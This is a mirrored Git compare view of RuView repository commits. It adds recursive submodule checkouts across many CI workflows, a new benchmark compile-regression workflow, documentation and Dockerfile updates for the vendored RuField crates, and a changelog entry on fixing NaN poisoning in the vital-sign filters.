mirror of
https://github.com/ruvnet/RuView
synced 2026-06-26 13:03:19 +00:00
Compare commits
27 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 65e7b7a80a | |||
| 4a083999e5 | |||
| 0f64d23516 | |||
| b209b8b778 | |||
| 90a88ada9a | |||
| cfd0ad76cf | |||
| 71e8756051 | |||
| 5287497a4a | |||
| bf1dfe79fd | |||
| 9b126e927e | |||
| 41bee64593 | |||
| 5bc3b634b7 | |||
| e1f4897269 | |||
| 9f80b66ae3 | |||
| 02cb84e0bb | |||
| ebfaee4437 | |||
| db3d94a313 | |||
| a369fbe66e | |||
| d2089c342a | |||
| 306d009e72 | |||
| df617145d6 | |||
| f250149e94 | |||
| faca0530de | |||
| 6f6c867629 | |||
| 95a5ecc746 | |||
| 1f05456588 | |||
| f756a8af49 |
@@ -33,6 +33,8 @@ jobs:
|
||||
working-directory: v2
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust toolchain
|
||||
run: rustup show && rustc --version
|
||||
|
||||
@@ -0,0 +1,199 @@
|
||||
name: Bench Regression Guard
|
||||
|
||||
# Sub-deliverable 8.3 of the benchmark/optimization milestone.
|
||||
#
|
||||
# HONEST SCOPE (read this before assuming this gates on timing):
|
||||
# * The `bench-compile` job is a REAL, HARD-FAILING regression gate. It runs
|
||||
# `cargo bench --no-default-features --no-run`, which type-checks and links
|
||||
# EVERY criterion bench in the v2/ workspace without running a single
|
||||
# measurement. Benches are not part of `cargo test`, so they silently
|
||||
# bit-rot when a public API they call changes — this job catches that the
|
||||
# moment it happens. This is the part of this workflow that can fail a PR.
|
||||
#
|
||||
# * The `bench-fast-run` job runs a small, curated subset of pure-CPU benches
|
||||
# in criterion "quick mode" (short warm-up / measurement / 10 samples) and
|
||||
# is INFORMATIONAL ONLY (`continue-on-error: true`). It does NOT gate on
|
||||
# timing. Wall-clock timings on shared GitHub-hosted runners vary by
|
||||
# 2-3x run-to-run (noisy neighbours, CPU throttling, no pinned frequency),
|
||||
# so a hard ">X ms" threshold here would flake constantly and teach
|
||||
# everyone to ignore it. We deliberately do not pretend to do timing
|
||||
# regression-gating we cannot deliver reliably. The numbers are surfaced in
|
||||
# the job log + uploaded as an artifact for humans to eyeball trends.
|
||||
#
|
||||
# WHY NO criterion --baseline COMPARE GATE:
|
||||
# criterion's `--save-baseline` / `--baseline` compare is the textbook
|
||||
# regression mechanism, but it only produces a trustworthy verdict when the
|
||||
# baseline and the candidate were measured on the SAME hardware under the SAME
|
||||
# conditions. GitHub-hosted runners give neither (the baseline commit and the
|
||||
# PR commit land on different physical machines). Committing a baseline JSON
|
||||
# measured on one runner and comparing a different runner against it would
|
||||
# manufacture false regressions. If/when these benches run on a dedicated,
|
||||
# frequency-pinned self-hosted runner, a `--baseline` compare with a generous
|
||||
# (>2x) noise floor becomes honest and can be added then. Until then,
|
||||
# compile-verify + informational-run is the honest gate.
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main, develop, 'feat/*' ]
|
||||
paths:
|
||||
- 'v2/crates/**/benches/**'
|
||||
- 'v2/crates/**/Cargo.toml'
|
||||
- 'v2/crates/**/src/**'
|
||||
- 'v2/Cargo.toml'
|
||||
- 'v2/Cargo.lock'
|
||||
- '.github/workflows/bench-regression.yml'
|
||||
pull_request:
|
||||
paths:
|
||||
- 'v2/crates/**/benches/**'
|
||||
- 'v2/crates/**/Cargo.toml'
|
||||
- 'v2/crates/**/src/**'
|
||||
- 'v2/Cargo.toml'
|
||||
- 'v2/Cargo.lock'
|
||||
- '.github/workflows/bench-regression.yml'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
# Debuginfo is useless in CI and the 38-crate workspace target dir otherwise
|
||||
# exhausts the runner disk (mirrors ci.yml's rust-tests job). The bench
|
||||
# profile inherits release + debug = true (v2/Cargo.toml [profile.bench]);
|
||||
# force it off so the link step does not run out of space.
|
||||
CARGO_PROFILE_BENCH_DEBUG: "0"
|
||||
CARGO_PROFILE_RELEASE_DEBUG: "0"
|
||||
|
||||
jobs:
|
||||
# ── HARD GATE: every bench must still compile + link ─────────────────────
|
||||
bench-compile:
|
||||
name: bench compile-verify (--no-run)
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout (recursive — wifi-densepose-rufield path-deps vendor/rufield)
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
# The workspace includes `wifi-densepose-rufield`, which path-deps the
|
||||
# `vendor/rufield` submodule crates. Without a recursive checkout the
|
||||
# whole workspace fails to resolve before any bench is built.
|
||||
submodules: recursive
|
||||
|
||||
# The workspace pulls in `wifi-densepose-desktop` (Tauri v2) whose -sys
|
||||
# crates need the GTK/WebKit/serial dev libraries via pkg-config, exactly
|
||||
# as ci.yml's rust-tests job documents. A `--workspace` bench build links
|
||||
# the whole graph, so these are required here too.
|
||||
- name: Install Tauri / GTK / serial system dev libraries
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
libglib2.0-dev \
|
||||
libgtk-3-dev \
|
||||
libsoup-3.0-dev \
|
||||
libjavascriptcoregtk-4.1-dev \
|
||||
libwebkit2gtk-4.1-dev \
|
||||
libayatana-appindicator3-dev \
|
||||
librsvg2-dev \
|
||||
libxdo-dev \
|
||||
libudev-dev \
|
||||
libdbus-1-dev \
|
||||
libssl-dev \
|
||||
pkg-config
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- name: Cache cargo (Swatinem/rust-cache)
|
||||
uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: v2
|
||||
# Distinct cache scope from ci.yml's rust-tests so the bench profile
|
||||
# artifacts (release+opt) do not evict the test profile cache.
|
||||
key: bench-regression
|
||||
|
||||
# The core regression guard. `--no-run` compiles + links every bench
|
||||
# target in the workspace's DEFAULT feature set but runs no measurement,
|
||||
# so it is deterministic and fast-ish (build only). A bench that no longer
|
||||
# compiles — because a type/signature it calls changed and nobody updated
|
||||
# the bench — fails the build here. `--no-default-features` is the
|
||||
# workspace's standard gate flag (openblas/tch/ort/onnx stay opt-out).
|
||||
- name: Compile all workspace benches (default features)
|
||||
working-directory: v2
|
||||
run: cargo bench --workspace --no-default-features --no-run
|
||||
|
||||
# Feature-gated benches are skipped by the default build above because
|
||||
# their `[[bench]]` entries carry `required-features`. Compile the ones we
|
||||
# can guard so they are also covered against bit-rot.
|
||||
# * cir → wifi-densepose-signal/benches/cir_bench.rs (ADR-134). The
|
||||
# `cir` feature is pure-Rust (`cir = []`), so it builds on the stock
|
||||
# runner and is a real, hard-failing guard like the step above.
|
||||
#
|
||||
# NOT guarded here (honest scope):
|
||||
# * crv → wifi-densepose-ruvector/benches/crv_bench.rs. The `crv` feature
|
||||
# pulls the crates.io dependency `ruvector-crv 0.1.1`, which currently
|
||||
# FAILS to compile on stable (E0308 type mismatch in its own
|
||||
# `stage_iii.rs` — an UPSTREAM bug, unrelated to bench bit-rot).
|
||||
# Adding a hard `--features crv` compile step would make this workflow
|
||||
# red for a reason this gate is not meant to police. Re-add this step
|
||||
# once `ruvector-crv` ships a fixed release. (mqtt/onnx benches are
|
||||
# likewise left to their own crate workflows.)
|
||||
- name: Compile feature-gated benches (cir)
|
||||
working-directory: v2
|
||||
run: cargo bench -p wifi-densepose-signal --no-default-features --features cir --bench cir_bench --no-run
|
||||
|
||||
# ── INFORMATIONAL: run a curated fast subset (never gates) ───────────────
|
||||
bench-fast-run:
|
||||
name: bench fast-run (informational, non-gating)
|
||||
runs-on: ubuntu-latest
|
||||
# NEVER fail the workflow on this job — timings are noise-prone on shared
|
||||
# runners (see header). It exists to surface trends for humans, not to gate.
|
||||
continue-on-error: true
|
||||
needs: [bench-compile]
|
||||
steps:
|
||||
- name: Checkout (recursive)
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- name: Cache cargo (Swatinem/rust-cache)
|
||||
uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: v2
|
||||
key: bench-regression
|
||||
|
||||
# Curated subset = pure-CPU, fast, dependency-light criterion benches that
|
||||
# finish in seconds under quick-mode flags. Each is targeted by `--bench`
|
||||
# (NOT a bare `cargo bench -p`) because the crates' lib targets use the
|
||||
# libtest harness, which rejects criterion's CLI flags (--warm-up-time
|
||||
# etc.) and aborts the run. Quick-mode: 1s warm-up, 2s measure, 10 samples.
|
||||
- name: nvsim pipeline_throughput (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
mkdir -p ../bench-out
|
||||
cargo bench -p nvsim --no-default-features --bench pipeline_throughput -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/nvsim_pipeline_throughput.txt
|
||||
|
||||
- name: ruvector sketch_bench (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
cargo bench -p wifi-densepose-ruvector --no-default-features --bench sketch_bench -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/ruvector_sketch_bench.txt
|
||||
|
||||
- name: ruvector fusion_bench (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
cargo bench -p wifi-densepose-ruvector --no-default-features --bench fusion_bench -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/ruvector_fusion_bench.txt
|
||||
|
||||
- name: Upload informational bench logs
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bench-fast-run-logs
|
||||
path: bench-out/
|
||||
if-no-files-found: warn
|
||||
@@ -53,6 +53,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
@@ -42,6 +42,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Determine deployment environment
|
||||
id: determine-env
|
||||
@@ -86,6 +88,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up kubectl
|
||||
uses: azure/setup-kubectl@v3
|
||||
@@ -132,6 +136,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up kubectl
|
||||
uses: azure/setup-kubectl@v3
|
||||
|
||||
@@ -29,6 +29,7 @@ jobs:
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python
|
||||
@@ -82,6 +83,13 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
# ADR-262 P1: `wifi-densepose-rufield` path-deps the `vendor/rufield`
|
||||
# submodule. Without a recursive checkout the workspace build fails to
|
||||
# resolve those path deps in CI even though it passes locally.
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# `wifi-densepose-desktop` is a Tauri v2 app — `glib-sys`, `gtk-sys`,
|
||||
# `webkit2gtk-sys`, etc. need the Linux dev libraries via pkg-config or the
|
||||
@@ -202,6 +210,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
continue-on-error: true
|
||||
@@ -267,6 +277,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v6
|
||||
@@ -335,6 +347,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
continue-on-error: true
|
||||
@@ -407,6 +421,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v6
|
||||
|
||||
@@ -35,6 +35,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Fetch /traffic/clones + /traffic/views from GitHub
|
||||
env:
|
||||
|
||||
@@ -28,6 +28,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
@@ -78,6 +80,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
@@ -145,6 +149,8 @@ jobs:
|
||||
vars.HAS_GCP_CREDENTIALS == 'true'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Download x86_64 artifact
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -20,6 +20,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with: { targets: wasm32-unknown-unknown }
|
||||
|
||||
@@ -26,6 +26,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust + wasm32 target
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
@@ -28,6 +28,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
@@ -83,6 +85,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
@@ -131,6 +135,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Download all artifacts
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -22,6 +22,8 @@ jobs:
|
||||
if: github.ref_type == 'tag'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- name: Check firmware version.txt == tag
|
||||
run: |
|
||||
# Tag form: vX.Y.Z-esp32 → expect version.txt to contain X.Y.Z
|
||||
@@ -71,6 +73,8 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Build firmware (${{ matrix.variant }})
|
||||
working-directory: firmware/esp32-csi-node
|
||||
|
||||
@@ -100,6 +100,8 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Download QEMU artifact
|
||||
uses: actions/download-artifact@v4
|
||||
@@ -214,6 +216,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install clang
|
||||
run: |
|
||||
@@ -263,6 +267,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install NVS generator
|
||||
run: pip install esp-idf-nvs-partition-gen
|
||||
@@ -317,6 +323,8 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Download QEMU artifact
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -22,6 +22,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
|
||||
@@ -41,6 +41,8 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install mosquitto + clients and start with allow_anonymous
|
||||
run: |
|
||||
|
||||
@@ -26,6 +26,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
|
||||
|
||||
@@ -76,6 +76,8 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# Linux aarch64 needs QEMU for cross-build on x86_64 runners.
|
||||
- name: Set up QEMU
|
||||
@@ -121,6 +123,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- name: Install maturin
|
||||
run: pip install maturin>=1.7
|
||||
- name: Build sdist
|
||||
@@ -144,6 +148,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
@@ -29,6 +29,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Stage viewer for Pages
|
||||
run: |
|
||||
|
||||
@@ -40,6 +40,8 @@ jobs:
|
||||
- { label: 'full+train', flags: '--features full,train' }
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- name: Cache cargo
|
||||
uses: actions/cache@v4
|
||||
@@ -60,6 +62,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
# v2/rust-toolchain.toml pins channel "1.89" with profile "minimal" (no
|
||||
# clippy). dtolnay@stable installs clippy on the floating "stable"
|
||||
# toolchain, but the override makes cargo use the separate "1.89"
|
||||
@@ -93,6 +97,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- name: Cache cargo
|
||||
uses: actions/cache@v4
|
||||
@@ -127,6 +133,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- name: publish = false is present (no accidental crates.io publish)
|
||||
run: |
|
||||
CARGO=v2/crates/ruview-swarm/Cargo.toml
|
||||
|
||||
@@ -28,6 +28,7 @@ jobs:
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python
|
||||
@@ -97,6 +98,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python
|
||||
continue-on-error: true
|
||||
@@ -164,6 +167,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
continue-on-error: true
|
||||
@@ -245,6 +250,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Run Checkov IaC scan
|
||||
continue-on-error: true
|
||||
@@ -307,6 +314,7 @@ jobs:
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Run TruffleHog secret scan
|
||||
@@ -341,6 +349,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python
|
||||
continue-on-error: true
|
||||
@@ -378,6 +388,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Check security policy files
|
||||
continue-on-error: true
|
||||
|
||||
@@ -30,6 +30,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Stage demos for Pages
|
||||
run: |
|
||||
|
||||
@@ -30,6 +30,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v6
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -22,7 +22,8 @@ Dual codebase: Python v1 (`v1/`) and Rust port (`v2/`).
|
||||
| `wifi-densepose-vitals` | ESP32 CSI-grade vital sign extraction (ADR-021) |
|
||||
| `nvsim` | Deterministic NV-diamond magnetometer pipeline simulator (ADR-089) — standalone leaf, WASM-ready |
|
||||
| `vendor/rvcsi` (submodule) | **rvCSI** — edge RF sensing runtime (ADR-095/096): 9 crates (`rvcsi-core`/`-dsp`/`-events`/`-adapter-file`/`-adapter-nexmon`/`-ruvector`/`-runtime`/`-node`/`-cli`). Lives in its own repo ([github.com/ruvnet/rvcsi](https://github.com/ruvnet/rvcsi)), vendored here under `vendor/rvcsi`, published to crates.io as `rvcsi-* 0.3.x` and to npm as `@ruv/rvcsi`. Not a `v2/` workspace member — depend on the published crates (or the submodule's `crates/rvcsi-*` paths). Normalized `CsiFrame`/`CsiWindow`/`CsiEvent` schema, validate-before-FFI, reusable DSP, typed confidence-scored events, the napi-c Nexmon shim (real nexmon_csi `.pcap` from a Raspberry Pi 5 / 4 / 3B+ — BCM43455c0), the napi-rs SDK, the `rvcsi` CLI, a Claude Code plugin. |
|
||||
| `vendor/rufield` (submodule) | **RuField MFS** — the open spec for camera-free multimodal field sensing (ADR-260). A common `FieldEvent`/`FieldTensor`/`FusionGraph`/`PrivacyClass`/`ProvenanceReceipt` model *above* WiFi CSI/CIR/BFLD, UWB, BLE Channel Sounding, mmWave radar, ultrasound, subsonic, infrared, and quantum sensors. Lives in its own repo ([github.com/ruvnet/rufield](https://github.com/ruvnet/rufield)), vendored here under `vendor/rufield`. Not a `v2/` workspace member. v0.1 reference stack = 6 crates (`rufield-core`/`-provenance`/`-privacy`/`-adapters`/`-fusion`/`-bench`), 60 tests/0 failed; all benchmark metrics are **SYNTHETIC** (simulator ground truth, no hardware — real adapters are roadmap). |
|
||||
| `vendor/rufield` (submodule) | **RuField MFS** — the open spec for camera-free multimodal field sensing (ADR-260). A common `FieldEvent`/`FieldTensor`/`FusionGraph`/`PrivacyClass`/`ProvenanceReceipt` model *above* WiFi CSI/CIR/BFLD, UWB, BLE Channel Sounding, mmWave radar, ultrasound, subsonic, infrared, and quantum sensors. Lives in its own repo ([github.com/ruvnet/rufield](https://github.com/ruvnet/rufield)), vendored here under `vendor/rufield`. Not a `v2/` workspace member. v0.1 reference stack = 7 crates (`rufield-core`/`-provenance`/`-privacy`/`-adapters`/`-fusion`/`-bench`/`-viewer`), 72 tests/0 failed; `rufield-viewer` is an Axum + vanilla-JS read-only dashboard (`cargo run -p rufield-viewer`) completing ADR-260 §27.9. The WiFi-CSI modality is now **real-replay-backed** via `CsiReplayAdapter` (ingests real captured `.csi.jsonl` → fused presence/breathing inferences; replay-from-file, unlabeled CSI-variance proxy, not validated accuracy); mmWave/thermal + all synthetic-bench F1 numbers remain **SYNTHETIC** (no live hardware — live streaming + labeled accuracy are roadmap). |
|
||||
| `wifi-densepose-rufield` | ADR-262 P1 **anti-corruption bridge** — converts RuView WiFi-CSI sensing output (`SensingSnapshot` mirroring `SensingUpdate` + `TrustedOutput`, owned primitives, no dep on `wifi-densepose-sensing-server`) into **signed RuField `FieldEvent`s** (`Modality::WifiCsi`, real `timestamp_ns`, sha256 + ed25519 provenance, `synthetic=false`). The single coupling point between RuView and the standalone RuField MFS spec (§5.4); path-deps the `vendor/rufield` submodule crates (`rufield-core`/`-provenance`/`-privacy`/`-fusion`). **Critical §3.3 privacy mapping** (`map_privacy`): maps RuView class → RuField P0–P5 by **information content, never byte value**, fail-closed (`Derived → P4/P5`, never P1; `demoted` floors to ≥ P2). 15 tests / 0 failed (round-trip / `is_fusable` / fusion-ingest / privacy-safety / determinism). P1 plumbing — not wired into the live server (P3), no accuracy claim. |
|
||||
| `ruview-swarm` | Drone swarm control system (ADR-148) — hierarchical-mesh topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 compat, Ruflo AI-agent integration |
|
||||
|
||||
### RuvSense Modules (`signal/src/ruvsense/`)
|
||||
|
||||
@@ -14,6 +14,13 @@ COPY v2/crates/ ./crates/
|
||||
# Copy vendored RuVector crates
|
||||
COPY vendor/ruvector/ /build/vendor/ruvector/
|
||||
|
||||
# Copy vendored RuField submodule — the `wifi-densepose-rufield` bridge crate
|
||||
# (ADR-262) path-deps `../../../vendor/rufield/crates/*`, which from the Docker
|
||||
# build layout (v2/ collapsed into /build) resolves to /vendor/rufield. Copy the
|
||||
# whole tree so the rufield workspace Cargo.toml (workspace-dep inheritance) and
|
||||
# the four bridged crates (rufield-core/-provenance/-privacy/-fusion) all resolve.
|
||||
COPY vendor/rufield/ /vendor/rufield/
|
||||
|
||||
# Build release binaries:
|
||||
# - sensing-server with `mqtt` feature so the HA-DISCO MQTT publisher
|
||||
# (ADR-115) is wired in (auto-discovery topics flow to Home Assistant)
|
||||
|
||||
@@ -1092,6 +1092,12 @@ Two robustness bugs were fixed in the on-device edge path (`firmware/esp32-csi-n
|
||||
|
||||
Both are pinned by host-buildable C99 tests in `firmware/esp32-csi-node/test/test_vitals_count_presence.c` (`make run_vitals`). The exact thresholds are documented constants pending on-device calibration against ground truth.
|
||||
|
||||
### 2026-06 — Rust `wifi-densepose-vitals`: IIR filter NaN/inf self-heal (ADR-158 §A1)
|
||||
|
||||
A correctness/safety review of the Rust extraction crate found a real bug parallel to the firmware robustness class above. The 2nd-order resonator `bandpass_filter` in both `breathing.rs` and `heartrate.rs` latches each output `y[n]` into its filter state (`y1`/`y2`). A single non-finite amplitude residual from a corrupt CSI frame produced a NaN `output` that was written into the state; the existing `extract()` `is_finite()` guard dropped that one sample from the history buffer **but never sanitized the poisoned filter state**, so every later output stayed NaN, was rejected too, and the sliding-window history never refilled — breathing **and** heart-rate extraction went silently dead (returning `None` forever) until `reset()`. On the alert path this is a safety-relevant denial of service (one bad frame stops vitals monitoring with no error surfaced).
|
||||
|
||||
Fix: when `bandpass_filter` computes a non-finite `output`, it resets the IIR state to default and returns `0.0`, so the resonator self-heals on the next clean frame (the `0.0` is still dropped by the caller's finite-check, so no spurious sample enters history). Same shape as the calibration NaN bug (ADR-154 §3) — the prior hardening guarded the *history boundary* but not the *filter-state boundary*. Pinned by `breathing::tests::nan_frame_does_not_permanently_poison_filter`, `breathing::tests::inf_mid_stream_does_not_freeze_history`, and `heartrate::tests::nan_frame_does_not_permanently_poison_filter` (all FAIL pre-fix, verified by reverting). The review also de-magicked the HR physiological plausibility band into named `HR_PLAUSIBLE_MIN_BPM`/`HR_PLAUSIBLE_MAX_BPM` consts (value-identical 40/180 BPM) and added a fabricated-vital negative (`pure_noise_is_never_reported_valid` — broadband noise never yields a clinically `Valid` HR; the extractor honestly returns low-confidence `Unreliable`). Clean dimensions confirmed with evidence: flat/silent input → `None`; pure noise → low-confidence `Unreliable`, never `Valid`; harmonic-rich breathing with no cardiac component → low-confidence, not a confident false HR; out-of-band BPM rejected by the plausibility clamp.
|
||||
|
||||
## References
|
||||
|
||||
- Ramsauer et al. (2020). "Hopfield Networks is All You Need." ICLR 2021. (ModernHopfield formulation)
|
||||
|
||||
@@ -104,6 +104,57 @@ Ranked by build cost × user impact:
|
||||
| **P9** | HACS integration repo (`hass-wifi-densepose`) for HA-side install path | pending |
|
||||
